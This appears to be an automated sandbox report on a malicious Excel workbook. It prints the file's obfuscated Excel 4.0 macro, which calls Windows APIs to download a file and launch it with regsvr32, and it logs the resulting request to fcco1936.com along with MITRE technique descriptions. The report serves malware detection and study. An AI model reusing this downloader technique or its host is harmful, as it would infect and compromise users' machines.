File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1251, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Thu Nov 26 09:41:54 2020, Security: 0
Entropy (8bit):	7.522333980048165
TrID:	Microsoft Excel sheet (30009/1) 78.94% Generic OLE2 / Multistream Compound File (8008/1) 21.06%
File name:	document-1477931596.xls
File size:	338944
MD5:	1602c8c0a768d4c356e23fa86cca3daa
SHA1:	0c9b5477aa41c557e2169e3cc21fa57f4ad051bd
SHA256:	ba48de11db500e3903d175d9980adbb1305f991d839ec93068417c5eea86b424
SHA512:	30844a49d0027eb39246d0b6a9e7a04624bae6c72c41e9930daba03708b645f0b7b8994028d49ed7871d20c9af2f39003f4aeba6c1422a58caf5372195cb2b03
SSDEEP:	6144:AcKoSsxzNDZLDZjlbR868O8Kfc03pXOFq7uDphYHceXVhca+fMHLty/x2zZ8kpTK:5izo8RnsIROnr6n75YK
File Content Preview:	........................>......................................................................................................................................................................................................................................

File Icon


Icon Hash:	e4eea286a4b4bcb4

Static OLE Info

General
Document Type:	OLE
Number of OLE Files:	1

OLE File "document-1477931596.xls"

Indicators
Has Summary Info:	True
Application Name:	Microsoft Excel
Encrypted Document:	False
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	True
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:
Flash Objects Count:
Contains VBA Macros:	True

Summary
Code Page:	1251
Author:
Last Saved By:
Create Time:	2006-09-16 00:00:00
Last Saved Time:	2020-11-26 09:41:54
Creating Application:	Microsoft Excel
Security:	0

Document Summary
Document Code Page:	1251
Thumbnail Scaling Desired:	False
Contains Dirty Links:	False
Shared Document:	False
Changed Hyperlinks:	False
Application Version:	917504

Streams

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096

General
Stream Path:	\x5DocumentSummaryInformation
File Type:	data
Stream Size:	4096
Entropy:	0.367004077607
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , . . 0 . . . . . . . . . . . . . . . H . . . . . . . P . . . . . . . X . . . . . . . ` . . . . . . . h . . . . . . . p . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . D o c u S i g n . . . . . . . . . 2 . . . . . . . . . 3 . . . . . . . . . 1 . . . . . . . . . 4 . . . . . . . . . 5 . . . . . . . . . . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 00 01 00 00 08 00 00 00 01 00 00 00 48 00 00 00 17 00 00 00 50 00 00 00 0b 00 00 00 58 00 00 00 10 00 00 00 60 00 00 00 13 00 00 00 68 00 00 00 16 00 00 00 70 00 00 00 0d 00 00 00 78 00 00 00 0c 00 00 00 bf 00 00 00 02 00 00 00 e3 04 00 00

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 4096

General
Stream Path:	\x5SummaryInformation
File Type:	data
Stream Size:	4096
Entropy:	0.254255489206
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . . . + ' . . 0 . . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . T . . . . . . . ` . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . . \| . # . . . @ . . . . . . _ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 98 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 54 00 00 00 12 00 00 00 60 00 00 00 0c 00 00 00 78 00 00 00 0d 00 00 00 84 00 00 00 13 00 00 00 90 00 00 00 02 00 00 00 e3 04 00 00 1e 00 00 00 04 00 00 00

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 326145

General
Stream Path:	Workbook
File Type:	Applesoft BASIC program data, first line number 16
Stream Size:	326145
Entropy:	7.65699487976
Base64 Encoded:	True
Data ASCII:	. . . . . . . . f 2 . . . . . . . . . . . . . . . . . . . . . . . . . . \\ . p . . . . B . . . . . a . . . . . . . . . = . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . = . . . . . l . . 9 P . 8 . . . . . . . X . @ . . . . . .
Data Raw:	09 08 10 00 00 06 05 00 66 32 cd 07 c9 80 01 00 06 06 00 00 e1 00 02 00 b0 04 c1 00 02 00 00 00 e2 00 00 00 5c 00 70 00 02 00 00 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20

Macro 4.0 Code

CALL("Ke"&????2!FS355&"32", "Cr"&????2!FU383&"yA", "JCJ", ????2!FJ353&????2!FJ368, 0)

CALL("U"&????2!FU373, "U"&????4!E65, "IICCII", 0, ????2!EE100, ????2!FJ353&????2!FJ368&????2!FJ382, 0, 0)

=RUN(R59),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,=RUN(????4!D50),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"=CALL(""Ke""&????2!FS355&""32"",""Cr""&????2!FU383&""yA"",""JCJ"",????2!FJ353&????2!FJ368,0)",,,,,,,,,,,,,,,,,=RUN(????5!A50),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,

"=CALL(""Ke""&????2!FS355&""32"",""Cr""&????2!FU383&""yA"",""JCJ"",????2!FJ353,0)",,,,=RUN(????1!M66),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"=CONCATENATE(E67,E68,E69,E70,E71,E72,E73,E74,E75,E76,E77,E78,E79,E80,E81,E82,E83)",,,,"=CHAR(SUM(F66,G66,H66))",25,35,25,"=CHAR(SUM(F67,G67,H67))",20,42,20,"=CHAR(SUM(F68,G68,H68))",25,26,25,=CHAR(F69-G69-H69),100,22,10,=CHAR(F70-G70-H70),200,50,39,=CHAR(F71-G71-H71),500,300,81,=CHAR(F72+G72-H72),120,130,140,=CHAR(F73+G73-H73),200,300,392,=CHAR(F74+G74-H74),400,500,789,=CHAR(F75-G75+H75),500,430,27,=CHAR(F76-G76+H76),310,270,60,=CHAR(F77-G77+H77),200,160,44,"=CHAR(SUM(F78,G78,H78))",56,37,18,"=CHAR(SUM(F79,G79,H79))",27,18,25,"=CHAR(SUM(F80,G80,H80))",44,58,3,=CHAR(F81-G81-H81),384,115,161,=CHAR(F82-G82-H82),762,504,157,=CHAR(F83-G83-H83),501,328,108

"=CALL(""U""&????2!FU373,""U""&????4!E65,""IICCII"",0,????2!EE100,????2!FJ353&????2!FJ368&????2!FJ382,0,0)"=EXEC(????3!W36&????2!FJ353&????2!FJ368&????2!FJ382)=HALT()

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 29, 2020 04:16:01.548640013 CET	49165	80	192.168.2.22	185.253.218.120
Nov 29, 2020 04:16:01.613528967 CET	80	49165	185.253.218.120	192.168.2.22
Nov 29, 2020 04:16:01.613658905 CET	49165	80	192.168.2.22	185.253.218.120
Nov 29, 2020 04:16:01.614834070 CET	49165	80	192.168.2.22	185.253.218.120
Nov 29, 2020 04:16:01.675524950 CET	80	49165	185.253.218.120	192.168.2.22
Nov 29, 2020 04:16:01.676352978 CET	80	49165	185.253.218.120	192.168.2.22
Nov 29, 2020 04:16:01.676457882 CET	49165	80	192.168.2.22	185.253.218.120
Nov 29, 2020 04:16:06.680732012 CET	80	49165	185.253.218.120	192.168.2.22
Nov 29, 2020 04:16:06.681020975 CET	49165	80	192.168.2.22	185.253.218.120
Nov 29, 2020 04:16:06.944650888 CET	80	49165	185.253.218.120	192.168.2.22
Nov 29, 2020 04:16:06.944811106 CET	49165	80	192.168.2.22	185.253.218.120
Nov 29, 2020 04:16:07.208746910 CET	80	49165	185.253.218.120	192.168.2.22
Nov 29, 2020 04:16:07.208832979 CET	49165	80	192.168.2.22	185.253.218.120
Nov 29, 2020 04:18:01.409507990 CET	49165	80	192.168.2.22	185.253.218.120
Nov 29, 2020 04:18:01.720571995 CET	49165	80	192.168.2.22	185.253.218.120
Nov 29, 2020 04:18:02.329070091 CET	49165	80	192.168.2.22	185.253.218.120
Nov 29, 2020 04:18:03.530421019 CET	49165	80	192.168.2.22	185.253.218.120
Nov 29, 2020 04:18:03.600205898 CET	80	49165	185.253.218.120	192.168.2.22

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 29, 2020 04:16:01.454020977 CET	52197	53	192.168.2.22	8.8.8.8
Nov 29, 2020 04:16:01.530253887 CET	53	52197	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Nov 29, 2020 04:16:01.454020977 CET	192.168.2.22	8.8.8.8	0xd372	Standard query (0)	fcco1936.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Nov 29, 2020 04:16:01.530253887 CET	8.8.8.8	192.168.2.22	0xd372	No error (0)	fcco1936.com		185.253.218.120	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

fcco1936.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49165	185.253.218.120	80	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
Nov 29, 2020 04:16:01.614834070 CET	0	OUT	GET /ds/231120.gif HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: fcco1936.com Connection: Keep-Alive
Nov 29, 2020 04:16:01.676352978 CET	1	IN	HTTP/1.1 401 Unauthorized Date: Sun, 29 Nov 2020 03:16:01 GMT Server: Apache WWW-Authenticate: Basic realm="Protected" Content-Length: 503 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 31 20 55 6e 61 75 74 68 6f 72 69 7a 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 55 6e 61 75 74 68 6f 72 69 7a 65 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 76 65 72 69 66 79 20 74 68 61 74 20 79 6f 75 0a 61 72 65 20 61 75 74 68 6f 72 69 7a 65 64 20 74 6f 20 61 63 63 65 73 73 20 74 68 65 20 64 6f 63 75 6d 65 6e 74 0a 72 65 71 75 65 73 74 65 64 2e 20 20 45 69 74 68 65 72 20 79 6f 75 20 73 75 70 70 6c 69 65 64 20 74 68 65 20 77 72 6f 6e 67 0a 63 72 65 64 65 6e 74 69 61 6c 73 20 28 65 2e 67 2e 2c 20 62 61 64 20 70 61 73 73 77 6f 72 64 29 2c 20 6f 72 20 79 6f 75 72 0a 62 72 6f 77 73 65 72 20 64 6f 65 73 6e 27 74 20 75 6e 64 65 72 73 74 61 6e 64 20 68 6f 77 20 74 6f 20 73 75 70 70 6c 79 0a 74 68 65 20 63 72 65 64 65 6e 74 69 61 6c 73 20 72 65 71 75 69 72 65 64 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 31 20 55 6e 61 75 74 68 6f 72 69 7a 65 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>401 Unauthorized</title></head><body><h1>Unauthorized</h1><p>This server could not verify that youare authorized to access the documentrequested. Either you supplied the wrongcredentials (e.g., bad password), or yourbrowser doesn't understand how to supplythe credentials required.</p><p>Additionally, a 401 Unauthorizederror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Code Manipulations

Statistics

CPU Usage

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Memory Usage

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High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

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System Behavior

Analysis Process: EXCEL.EXE PID: 2444 Parent PID: 584

General

Start time:	04:15:40
Start date:	29/11/2020
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Imagebase:	0x13f450000
File size:	27641504 bytes
MD5 hash:	5FB0A0F93382ECD19F5F499A5CAA59F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: regsvr32.exe PID: 2320 Parent PID: 2444

General

Start time:	04:15:44
Start date:	29/11/2020
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	regsvr32 -s C:\giogti\mpomqr\fwpxeohi.dll
Imagebase:	0xff0a0000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe is also a Microsoft signed binary.
Tactics:	Defense Evasion
Data Sources:	Loaded DLLs, Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Warning!

Analysis Report document-1477931596.xls

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Yara Overview

Initial Sample

Sigma Overview

System Summary:

Signature Overview

AV Detection:

Software Vulnerabilities:

Networking:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

HIPS / PFW / Operating System Protection Evasion:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static OLE Info

General

OLE File "document-1477931596.xls"

Indicators

Summary

Document Summary

Streams

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096

General

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 4096

General

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 326145

General

Macro 4.0 Code

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

Code Manipulations

Statistics